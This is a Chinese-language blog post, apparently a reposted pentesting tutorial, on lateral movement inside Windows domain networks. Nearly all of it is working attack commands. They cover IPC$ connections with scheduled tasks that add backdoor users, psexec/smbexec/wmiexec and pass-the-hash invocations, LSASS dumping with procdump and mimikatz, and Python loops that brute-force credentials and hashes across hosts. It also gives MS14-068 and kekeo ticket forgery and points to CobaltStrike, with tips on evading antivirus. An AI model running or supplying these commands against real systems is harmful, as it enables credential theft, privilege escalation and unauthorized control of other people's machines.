内网渗透|内网渗透-最实用的横向移动总结

0x00 内网横向移动的两种方式小结 内网的横向移动的方式有传递和漏洞两种:

所谓传递就是通过内置的一系列协议与命令,
例如:
at,schtasks,
psexec,smbexec,
wmic,vmiexec,
PTH,PTT,PTK,
winrs,winrm,RDP,SPN等,实现达到渗透其他内网主机,
使用工具: CobaltStrike,Ladon等渗透
所谓漏洞就是一些主机或者其他的CVE漏洞去渗透主机
例如:
CVE-2014-6324
CVE-201717010
CVE-2020-1472等,实现达到渗透其他内网主机,
0x01 横向移动-at,schtasks传递 基于对方开启139,445端口,获取其他主机的明文密码,或者hash值
1)at传递:
对于at命令需要对方主机低于win2012在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。首先at,sc协议需要有135/445端口的开放,一般主机都会开启。没有开启就采用其他的移动方式。
利用流程
  1. 建立 IPC 链接到目标主机,知道对方主机账户密码信息,若未成功可能权限问题
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除 IPC 链接
建立ipc连接:net use \\192.168.213.163\ipc$ "123.com" /user:hsyy.com\administrator 本地制作user.bat文件放在本地c盘执行命令脚本:net user haha 123.com /add 将文件上传到对方主机C 盘:copy user.bat \\192.168.213.163\c$ 给对方主机添加命令执行任务:at \\192.168.213.163 12:20 c:\user.bat 等待后查看到对方主机添加用户haha

详细步骤: 建立连接 内网渗透|内网渗透-最实用的横向移动总结
文章图片

给对方复制文件,添加进程任务 内网渗透|内网渗透-最实用的横向移动总结
文章图片

对方查看添加成功 内网渗透|内网渗透-最实用的横向移动总结
文章图片

建立 IPC 常见的错误代码 (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 (2)51:网络问题,Windows 无法找到网络路径 (3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题 (4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$ (5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除 (6)1326:账号密码错误 (7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况 (8)2242:用户密码过期,目标有账号策略,强制定期更改密码 #建立 IPC 失败的原因 (1)目标系统不是 NT 或以上的操作系统 (2)对方没有打开 IPC$共享 (3)对方未开启 139、445 端口,或者被防火墙屏蔽 (4)输出命令、账号密码有错误

2)schtasks传递:
对于at命令需要对方主机高于win2012,sc支持2012包括以上的版本
利用流程: 创建ipc连接:net use \\192.168.213.163\ipc$ "123.com" /user:hsyy.com\administrator 复制脚本bat文件:copy user.bat \\192.168.213.163\c$ 创建 adduser 任务对应执行文件:schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F 执行文件任务:schtasks /run /s 192.168.213.163 /tn adduser /i 删除执行文件任务:schtasks /delect /s 192.168.213.163 /tn adduser /f

3)atexec.exe横向渗透hash传递:
atexec比较容易被杀掉,实战中需要做免杀,
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文 连接 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文 回显版 FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP 回显版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版

4)pyhon批量检测IP,密码,账户存活:
生成exe文件:
内网渗透|内网渗透-最实用的横向移动总结
文章图片

文件位置:
内网渗透|内网渗透-最实用的横向移动总结
文章图片

使用pyinstaller打包exe运行文件: python批量检测:使用收集到的域内IP信息,密码账户信息作为字典 import os,time ips={ '192.168.213.163', '192.168.213.100', '192.168.213.120', '192.168.213.132' }users={ 'administrator', 'user', 'haha', 'Administrator', 'lily' } passs={ 'admin', '123.com', '', '123456' } for ip in ips: for user in users: for mima in passs: exec="net use \\"+"\\"+ip+'\ipc$'+mima+' /user:hsyy.com\\'+user print('--->'+exec+'--->') os.system(exec) time.sleep(1)

0x02 横向移动-基于SMB的psexec,smbexec传递 psexec,smbexec是基于SMB服务的连接,需要开启445端口,获取明文或者hash值
首先介绍procdump配合minikatz获取本机的明文密码和hash值
安装procdump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
生成lsass.dmp文件:procdump -accepteula -ma lsass.exe lsass.dmp
使用mnikatz解密出密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full 内网渗透|内网渗透-最实用的横向移动总结
文章图片

1)psexec传递:
第一种:建立ipc连接,明文或者hash传递,需要对方的administrator权限,否则会错误
psexec是微软官方,不会被杀:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
建立ipc连接:net use \\192.168.213.163\ipc$ "123.com" /user:administrator 使用psexec返回cmd窗口:psexec \\192.168.213.163 -s cmd

内网渗透|内网渗透-最实用的横向移动总结
文章图片

第二种:不用建立 IPC 直接提供明文账户密码
删除ipc连接:net use * /delete

直接明文连接:psexec \\192.168.213.163 -u administrator -p 123.com -s cmd hash连接: psexec -hashes :$HASH$ ./administrator@10.1.2.3 psexec -hashes :$HASH$ domain/administrator@10.1.2.3 psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法 采。需要使用 impacket 工具包使用,操作简单,容易被杀

内网渗透|内网渗透-最实用的横向移动总结
文章图片

2)smbexec传递
无需先建立 ipc 链接 明文或 hash 传递
这是使用impacket工具包,
exe下载地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip
py版本:https://github.com/SecureAuthCorp/impacket
明文传递命令:smbexec hsyy.com/administrator:123.com@192.168.213.163 hash传递: smbexec -hashes :$HASH$ ./admin@192.168.213.163 smbbexec -hashes :$HASH$ domain/admin@192.168.213.163

内网渗透|内网渗透-最实用的横向移动总结
文章图片

0x03 横向移动,基于WMI 的wmic,vmiexec传递 需要开启135端口服务,支持明文与hash的传递,并且这种方式不会在日志中留下痕迹
1)wmic传递
1.使用自带的明文传递 无回显
建立连接,返回的值在对方主机需要进行读取: wmic /node:192.168.213.163 /user:administrator /password:123.com process call create "cmd.exe /c ipconfig >C:\1.txt"

内网渗透|内网渗透-最实用的横向移动总结
文章图片

读取值:
内网渗透|内网渗透-最实用的横向移动总结
文章图片

2.使用自带的明文传递 有回显,需要借助vbs文件
cscript //nologo wmiexec.vbs /shell 192.168.213.163 administrator 123.com

3.使用套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本,可能容易被杀
工具包地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip
工作组环境:wmiexec ./账户:密码@192.168.3.32 "whoami" 域环境:wmiexec god/administrator:123.com@192.168.3.21 "whoami" hash传递: wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.213.163 "whoami" wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.213.163 "whoami" 查看c盘:wmiexec hsyy.com/administrator:123.com@192.168.213.163 "dir /c"

内网渗透|内网渗透-最实用的横向移动总结
文章图片

3.py批量检测,循环账户密码,
使用python的pyinstaller模块导出exe执行 pyinstaller.exe -F fuck_neiwang_002.py

EXP: import os,time ips={ '192.168.3.21', '192.168.3.25', '192.168.3.29', '192.168.3.30', '192.168.3.32' } users={ 'Administrator', 'boss', 'dbadmin', 'fileadmin', 'mack', 'mary', 'webadmin' } hashs={ 'ccef208c6485269c20db2cad21734fe7', '518b98ad4178a53695dc997aa02d455c' } for ip in ips: for user in users: for mimahash in hashs: #wmiexec -hashes :hashgod/user@ipwhoami exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami" print('--->' + exec + '<---') os.system(exec) time.sleep(0.5)

0x04 横向移动-PTH,PTK,PTT传递 使用这三种协议传递需要注意的是,当使用PTH传递时候当对方主机存在补丁kb2871997后,PTH配合minikatz只能连接域用户,不能连接其他组的用户,PTK的传递需要对方主机存在补丁kb2871997才PTK才可以连接域用户,也可以连接组,采用ase256连接,PTH与PTK的传递都是基于NTML认证,而PTT的传递基于kerbros协议,
总结:
内网渗透|内网渗透-最实用的横向移动总结
文章图片

1)PTH配合minikatz传递:
未打补丁,ntlm传递:
提权:privilege::debug ntlm传递:sekurlsa::pth /user:administrator /domain:hsyy.com /ntlm:ccef208c6485269c20db2cad21734fe7 ntml组内碰撞:可能存在与本机相同的administrtor用户的hash值 sekurlsa::pth /user:administrator/domain:workgroup/ntlm:518b98ad4178a53695dc997aa02d455c ntml域用户传递:sekurlsa::pth /user:hsyy /domain:hsyy.com /ntlm:ccef208c6485269c20db2cad21734fe7

2)PTK配合minikatz传递需要存在补丁kb2871997
使用minikatz获取aes256_hmac:sekurlsa::ekeys 传递连接: sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

3)PTT利用ms14-068传递:
ms14-068能够将普通域用户的权限获取域控 system 权限
【内网渗透|内网渗透-最实用的横向移动总结】提权步骤: MS14-068 powershell 执行
1.查看当前 sid : whoami /user
2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造:mimikatz # kerberos::purge
3.查看当前机器凭证:mimikatz # kerberos::list
4.将票据注入到内存中:mimikatz # kerberos::ptc 票据文件
5.利用 ms14-068 生成 TGT 数据:ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
6.票据注入内存:开启mimikatz.exe “kerberos::ptc TGT_mary@god.org.ccache” 退出exit
7.查看凭证列表 klist
8.提权利用:dir \192.168.213.132\c$
步骤实现:
1.查看sid:whoami /user
2.利用ms14-068生成票据:ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
3.注入票据:
内网渗透|内网渗透-最实用的横向移动总结
文章图片

4.连接域控实现提权:
如果无法识别,就将IP改为域计算机名
内网渗透|内网渗透-最实用的横向移动总结
文章图片

4)PTT利用工具kekeo传递:
PTT知识点:PTT权限维持技术:黄金票据Golden ticket 白银票据STLVER ticket
实现步骤:
1.生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”
2.导入票据 kerberos::ptt TGT_haha@HSYY.COM_krbtgt~hsyy.com@GOD.ORG.kirbi
3.查看凭证 klist
4.利用 net use 载入 dir \192.168.213.163\c$
5)PTT配合mimikatz利用本地票据:需要管理员权限:
提升权限:privilege::debug
导出票据:sekurlsa::tickets /export
利用票据:kerberos::ptt xxxxxxxxxx.xxxx.kirbi 内网渗透|内网渗透-最实用的横向移动总结
文章图片

6) Ladon工具推荐使用:
国产 Ladon 内网杀器测试验收
实现:信息收集-协议扫描-漏洞探针-传递攻击等
使用地址:https://github.com/k8gege/Ladon
0x05 横向传递-RDP,SPN扫描技术 1)RDP传递:
RDP技术就是类似于linux上的ssh远程连接,知道对方的IP,以及账户密码进行连接
需要开启3389端口
cmd运行:mstsc
明文传递
hash传递比较鸡肋
内网渗透|内网渗透-最实用的横向移动总结
文章图片

2)SPN扫描:
当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务
后,SPN也会被记录在计算机账号的相应属性中。。
SPN扫描也称为”扫描Kerberos服务实例名称"。 在活动目录中发现服务的最佳方法就是SPN扫描。 SPN 扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比, SPN扫描的主要特点是不需要
通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS. IDS等设备的规则而产生大量的警告
日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大。
由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普 通的域用户权限, 就可以进行SPN扫描。
0x06 横向移动-CobaltStrike 使用流程:
1.启动-配置- 监听执行-.上线提权信息收集(网络,凭证,定位等) -渗透
2.关于启动及配置
3.关于提权及插件加载
4.关于信息收集命令
5 关于视图自动化功能
安装使用:http://www.kxsy.work/2021/08/05/shen-tou-shen-qi-cs-an-zhuang-xiang-xi-jiao-cheng/
域渗透参考:http://www.kxsy.work/2021/08/17/strike-yu-shen-tou/
CS4.0使用手册:
链接:https://pan.baidu.com/s/1knqCFSZ2VxUKKAGE6INRiw
提取码:hsyy
交流学习:
博客:www.kxsy.work
CSND社区:告白热

    推荐阅读